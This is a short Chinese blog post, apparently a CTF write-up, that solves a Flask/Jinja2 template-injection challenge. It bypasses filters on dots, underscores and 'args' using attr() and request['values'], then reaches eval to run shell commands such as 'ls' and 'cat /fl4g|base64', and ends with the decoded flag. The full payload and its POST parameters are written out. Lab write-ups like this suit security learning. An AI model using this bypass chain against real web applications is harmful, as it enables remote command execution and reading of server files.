web11-考核

打开网页提示Hello guest!

访问http://xmctf.top:8906/?name={{7*7}},返回Hello 49!

访问http://xmctf.top:8906/?name={{config}},页面被过滤,尝试发现被过滤的还有args,点,下划线

点可由attr绕过

下划线和args可由request['values']绕过

访问http://xmctf.top:8906/?name={{()|attr(request[%27values%27][%27class%27])|attr(request[%27values%27][%27base%27])|attr(request[%27values%27][%27subclasses%27])()|attr(request[%27values%27][%27getitem%27])(233)|attr(request[%27values%27][%27init%27])|attr(request[%27values%27][%27globals%27])|attr(request[%27values%27][%27getitem%27])(request[%27values%27][%27builtins%27])|attr(request[%27values%27][%27getitem%27])(request[%27values%27][%27eval%27])(request[%27values%27][%27cmd%27])}},同时post如下参数:class=__class__&base=__base__&subclasses=__subclasses__&init=__init__&globals=__globals__&getitem=__getitem__&builtins=__builtins__&eval=eval&cmd=__import__("os").popen("ls").read(),执行成功

将post修改为class=__class__&base=__base__&subclasses=__subclasses__&init=__init__&globals=__globals__&getitem=__getitem__&builtins=__builtins__&eval=eval&cmd=__import__("os").popen("cat /fl4g").read(),被过滤

则修改为class=__class__&base=__base__&subclasses=__subclasses__&init=__init__&globals=__globals__&getitem=__getitem__&builtins=__builtins__&eval=eval&cmd=__import__("os").popen("cat /fl4g|base64").read(),得到flag的base64编码:ZmxhZ3sxMnNkLWp0NGVzZjMtczkzaGNlY2MzLXMzM2ZmM30K

解码获得flag:

flag{12sd-jt4esf3-s93hcecc3-s33ff3}

posted @ 2020-12-09 23:48  hktk1643  阅读(115)  评论(0编辑  收藏  举报